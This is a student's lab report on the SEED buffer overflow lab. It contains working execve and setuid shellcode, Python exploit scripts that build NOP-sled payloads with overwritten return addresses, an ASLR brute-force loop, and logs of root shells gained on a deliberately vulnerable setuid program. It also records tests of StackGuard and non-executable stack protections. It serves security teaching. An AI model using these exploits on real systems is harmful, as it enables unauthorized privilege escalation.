BUFFER OVERFLOW

Rahul M Menon
CB.SC.P2CYS23015

2 Lab Tasks

2.1 Turning Off Countermeasures

```
[10/28/23]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

Configuring /bin/sh

```
seed@VM: ~/.../buffer overflow
[10/28/23]seed@VM:~/.../buffer overflow$ ls -l /bin/sh
lrwxrwxrwx 1 root root 9 Oct 28 12:11 /bin/sh -> /bin/bash
[10/28/23]seed@VM:~/.../buffer overflow$ sudo ln -sf /bin/zsh /bin/sh
[10/28/23]seed@VM:~/.../buffer overflow$ ls -l /bin/sh
lrwxrwxrwx 1 root root 8 Oct 28 12:12 /bin/sh -> /bin/zsh
[10/28/23]seed@VM:~/.../buffer overflow$
```

Task 1: Getting Familiar with Shellcode

```c
#include <stdio.h>

int main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

```
seed@VM: ~/.../buffer overflow
[10/28/23]seed@VM:~/.../buffer overflow$ gedit shell.c
[10/28/23]seed@VM:~/.../buffer overflow$ gcc shell.c -o shell
shell.c: In function 'main':
shell.c:6:1: warning: implicit declaration of function 'execve' [-Wimplicit-function-declaration]
    6 | execve(name[0], name, NULL);
      | ^~~~~~
[10/28/23]seed@VM:~/.../buffer overflow$ ./shell
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ exit
[10/28/23]seed@VM:~/.../buffer overflow$ sudo chown root shell
[10/28/23]seed@VM:~/.../buffer overflow$ sudo chmod 4755 shell
[10/28/23]seed@VM:~/.../buffer overflow$ ls -l shell
-rwsr-xr-x 1 root seed 16752 Oct 28 12:21 shell
[10/28/23]seed@VM:~/.../buffer overflow$ ./shell
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```

32-bit Shellcode

call_shellcode.c
~/Desktop/buffer overflow

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode);
   int (*func)() = (int(*)())code;

   func();
   return 1;
}
```

```
[10/28/23]seed@VM:~/.../buffer overflow$ gedit call_shellcode.c
[10/28/23]seed@VM:~/.../buffer overflow$ gcc -z execstack -o call_shellcode call_shellcode.c
[10/28/23]seed@VM:~/.../buffer overflow$ ./call_shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(l
padmin),131(lxd),132(sambashare),136(docker)
$ 
```

When running the program, it executes the shellcode form the buffer.
It launches a new command shell (/bin/sh)
The -z execstack option allows code execution from the stack.

Task 2: Understanding the Vulnerable Program

The objective of this program is to exploit a buffer overflow vulnerability in order to gain root privileges

```c
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);          ①

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
     /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE];  memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

```
seed@VM: ~/.../code
[10/28/23]seed@VM:~/.../code$ touch badfile
[10/28/23]seed@VM:~/.../code$ ls -al badfile
-rw-rw-r-- 1 seed seed 0 Oct 28 13:12 badfile
[10/28/23]seed@VM:~/.../code$ gcc -fno-stack-protector -z execstack sta
c -o stack
[10/28/23]seed@VM:~/.../code$ ./stack
Input size: 0
==== Returned Properly ====
[10/28/23]seed@VM:~/.../code$ sudo chown root stack
[10/28/23]seed@VM:~/.../code$ sudo chmod 4755 stack
[10/28/23]seed@VM:~/.../code$ ls -l stack
-rwsr-xr-x 1 root seed 17112 Oct 28 13:13 stack
[10/28/23]seed@VM:~/.../code$ ./stack
Input size: 0
==== Returned Properly ====
[10/28/23]seed@VM:~/.../code$
```

- The program "stack.c" is compiled with stack protection disabled and made executable from the stack.
- The program is executed, but it doesn't receive any input and exits normally.
- The program permissions are changed to be owned by root and set as Set-UID.
- When the program is executed again, it still doesn't receive any input.
- Can't exploited the buffer overflow vulnerability in the program, so it currently doesn't perform any unauthorized actions.

Task 3: Launching Attack on 32-bit Program (Level 1)

```
exploit.py
~/Desktop/buffer overflow/code

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcae8 + 200          # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

gdb stack-L1-dbg

```
[10/28/23]seed@VM:~/.../code$ gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.ht
ml>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did
you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did
 you mean "=="?
  if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$ break bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
```

```
Legend: code, data, rodata, value
20              strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcae8
gdb-peda$ p $buffer
$2 = void
gdb-peda$ p &buffer
$3 = (char (*)[100]) 0xffffca7c
gdb-peda$ p/d 0xffffcae8-0xffffca7c
$4 = 108
gdb-peda$ quit
```

```
[10/28/23]seed@VM:~/.../code$ gedit exploit.py
[10/28/23]seed@VM:~/.../code$ ll
total 192
-rw-rw-r-- 1 seed seed     0 Oct 28 13:12 badfile
-rwxrwxr-x 1 seed seed   270 Dec 22  2020 brute-force.sh
-rwxrwxr-x 1 seed seed   983 Oct 28 13:47 exploit.py
-rw-rw-r-- 1 seed seed   965 Dec 23  2020 Makefile
-rw-rw-r-- 1 seed seed    11 Oct 28 13:43 peda-session-stack-L1-dbg
.txt
-rwsr-xr-x 1 root seed 17112 Oct 28 13:13 stack
-rw-rw-r-- 1 seed seed  1132 Dec 22  2020 stack.c
-rwsr-xr-x 1 root seed 15908 Oct 28 13:35 stack-L1
-rwxrwxr-x 1 seed seed 18696 Oct 28 13:35 stack-L1-dbg
-rwsr-xr-x 1 root seed 15908 Oct 28 13:35 stack-L2
-rwxrwxr-x 1 seed seed 18696 Oct 28 13:35 stack-L2-dbg
-rwsr-xr-x 1 root seed 17112 Oct 28 13:35 stack-L3
-rwxrwxr-x 1 seed seed 20120 Oct 28 13:35 stack-L3-dbg
-rwsr-xr-x 1 root seed 17112 Oct 28 13:35 stack-L4
-rwxrwxr-x 1 seed seed 20120 Oct 28 13:35 stack-L4-dbg
[10/28/23]seed@VM:~/.../code$ ./exploit.py
[10/28/23]seed@VM:~/.../code$ ll
total 196
-rw-rw-r-- 1 seed seed   517 Oct 28 13:47 badfile
-rwxrwxr-x 1 seed seed   270 Dec 22  2020 brute-force.sh
-rwxrwxr-x 1 seed seed   983 Oct 28 13:47 exploit.py
-rw-rw-r-- 1 seed seed   965 Dec 23  2020 Makefile
-rw-rw-r-- 1 seed seed    11 Oct 28 13:43 peda-session-stack-L1-dbg
.txt
-rwsr-xr-x 1 root seed 17112 Oct 28 13:13 stack
-rw-rw-r-- 1 seed seed  1132 Dec 22  2020 stack.c
```

```
[10/28/23]seed@VM:~/.../code$ gedit exploit.py
[10/28/23]seed@VM:~/.../code$ ./exploit.py
[10/28/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# id

uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed)
,24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxc
ambashare),136(docker)
# exit

[10/28/23]seed@VM:~/.../code$ gedit exploit.py
[10/28/23]seed@VM:~/.../code$
```

First we have to find out the difference b/w ebp and buffer using the debugger .That value was 108 . this offset value we can the difference b/w the return address and the beginning of the buffer ie 108 +4 = 112 (that is where return address). The value of the return address Should help us to jump into nop region b/w the shellcode and the return address.so we fill that space with nops and we will be able to arrive at our shell code.so the return should be a value which is greater than ebp .

- The goal was to execute "stack-L1" with the "badfile" as input.
- The buffer overflow vulnerability in "stack-L1" is expected to overwrite the return address with the address of the shellcode in the "badfile."
- This should lead to the execution of the shellcode, giving you a root shell.

- After running "stack-L1" with the "badfile" as input, it appears that the exploit was successful. gained root privileges, as indicated by the "id" command output

Task 4: Launching Attack without Knowing Buffer Size (Level 2)

```
exploit.py
~/Desktop/buffer overflow/code

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

######################################a############################
# Put the shellcode somewhere in the payload
# start = 400               # Change this number
content[517 - len(shellcode):517] = shellcode  # Put shellcode at the end of the buffer

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffca7c + 300  # Change this number

L = 4  # Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(50):
    content[offset * L:(offset + 1) * L] = (ret).to_bytes(L, byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

```
seed@VM: ~/.../code
[10/28/23]seed@VM:~/.../code$ touch badfile
[10/28/23]seed@VM:~/.../code$ ll
total 192
-rw-rw-r-- 1 seed seed     0 Oct 28 14:21 badfile
-rwxrwxr-x 1 seed seed   270 Dec 22  2020 brute-force.sh
-rwxrwxr-x 1 seed seed   985 Oct 28 13:49 exploit.py
-rw-rw-r-- 1 seed seed   965 Dec 23  2020 Makefile
-rw-rw-r-- 1 seed seed    11 Oct 28 13:43 peda-session-stack-L1-dbg
.txt
-rwsr-xr-x 1 root seed 17112 Oct 28 13:13 stack
-rw-rw-r-- 1 seed seed  1132 Dec 22  2020 stack.c
-rwsr-xr-x 1 root seed 15908 Oct 28 13:35 stack-L1
-rwxrwxr-x 1 seed seed 18696 Oct 28 13:35 stack-L1-dbg
-rwsr-xr-x 1 root seed 15908 Oct 28 13:35 stack-L2
-rwxrwxr-x 1 seed seed 18696 Oct 28 13:35 stack-L2-dbg
-rwsr-xr-x 1 root seed 17112 Oct 28 13:35 stack-L3
-rwxrwxr-x 1 seed seed 20120 Oct 28 13:35 stack-L3-dbg
-rwsr-xr-x 1 root seed 17112 Oct 28 13:35 stack-L4
-rwxrwxr-x 1 seed seed 20120 Oct 28 13:35 stack-L4-dbg
[10/28/23]seed@VM:~/.../code$ gedit exploit.py
[10/28/23]seed@VM:~/.../code$ ./exploit.py
[10/28/23]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm)
,24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(s
ambashare),136(docker)
# exit
[10/28/23]seed@VM:~/.../code$ gedit exploit.py
[10/28/23]seed@VM:~/.../code$ ls -al badfile
-rw-rw-r-- 1 seed seed 517 Oct 28 14:23 badfile
[10/28/23]seed@VM:~/.../code$
```

Rather than placing the shellcode in the start location, we will attempt to place the shell code at the end of our malicious file.Thus, the return address will lead us to a location in the NOP region.We are aware that a buffer is between 100 and 200 bytes long. So attempt to jump more than 200 .Since we are unsure of the precise length of our buffer, we have placed the return address many times, possibly making one of those locations the real address.thus simply made a for loop and spray a return address throughout the entire buffer.

Task 5: Launching Attack on 64-bit Program (Level 3)

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
    b"\x90\x90\x90\x90" +
    b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    b"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    b"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05")
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 100             # Change this number
content[start:start + len(shellcode)] = shellcode  # Put shellcode at the end of the buffer

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffd920
offset = 216 # Change this number

L = 8  # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

```
0056| 0x7fffffffd878 --> 0x7fffffffd8c4 --> 0x0
[------------------------------------------------------------------
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd920
gdb-peda$ p &buffer
$2 = (char (*)[200]) 0x7fffffffd850
gdb-peda$ p/d 0x7fffffffd920-0x7fffffffd850
$3 = 208
gdb-peda$
```

```
[11/06/23]seed@VM:~/.../code$ ./exploit1.py
[11/06/23]seed@VM:~/.../code$ ./stack-L3
Input size: 517
# whoami
root
```

Here I have put 100 as the rpb value

Task 7: Defeating dash's Countermeasure

The dash shell in the Ubuntu OS drops privileges when it detects that the effective UID does not equal to the real UID.

We link to dash

```
[11/05/23]seed@VM:~/.../code$ sudo ln -sf /bin/dash /bin/sh
[11/05/23]seed@VM:~/.../code$ ls -l /bin/sh
lrwxrwxrwx 1 root root 9 Nov  5 08:02 /bin/sh -> /bin/dash
```

Ran the shellcode a32.out with and without the setuid(0) systemcall

```
[11/05/23]seed@VM:~/.../normal$ ./a32.out
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(di
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ exit
[11/05/23]seed@VM:~/.../normal$ cd ..
[11/05/23]seed@VM:~/.../shellcode$ ./a32.out
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),
6(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
```

Only the setuid version was able to get root acess.

Now repeating the level 1 attack using updated shellcode

```
Open
exploit2.py
~/Desktop/buffer/buffer/Labsetup/code

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

####################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcab8 + 200          # Change this number
offset = 112        # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
####################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Repeating the level 1 steps, we can see that root shell access was gained

```
[11/05/23]seed@VM:~/.../code$ ./exploit2.py
[11/05/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# whoami
root
# exit
```

Task 8: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 2^19 = 524; 288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach.

First we set va_space to 2

```
[11/05/23]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
```

```
Open  brute-force.sh ~/Desktop/buffer overflow/code
#!/bin/bash

SECONDS=0
value=0

while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  ./stack-L1
done
```

Now we run the bruteforce.sh, it runs repeatedly. After 7 minutes I finally succeeded to find the address and was able to get the root shell access

```
./brute-force.sh: line 14: 270540 Segmentation fault      ./stack-L1
7 minutes and 23 seconds elapsed.
The program has been running 241208 times so far.
Input size: 517
#
```

Tasks 9: a) Experimenting with Other Countermeasures

In this task we will be running the program with the stack guard on.

Repeating level 1 task with stack guard off

```
seed@VM: ~/.../code
[11/05/23]seed@VM:~/.../code$ ./exploit2.py
[11/05/23]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
#
```

Now compiling the stack.c without the -fno-stack-protector flag and trying it again

```
[11/05/23]seed@VM:~/.../stack p off$ ./exploit2.py
[11/05/23]seed@VM:~/.../stack p off$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
```

Because the stack guard protection was turned on, we got an error.

Task 9.b: Turn on the Non-executable Stack Protection

After removing the ‘ -z execstack ’ command from the make file, the make was ran again and a32.out and a64.out was generated.

```
[11/05/23]seed@VM:~/.../execstack_off$ ./a32.out
Segmentation fault
```

The -z execstack option is often used when testing buffer overflow exploits, especially if you need to execute shellcode on the stack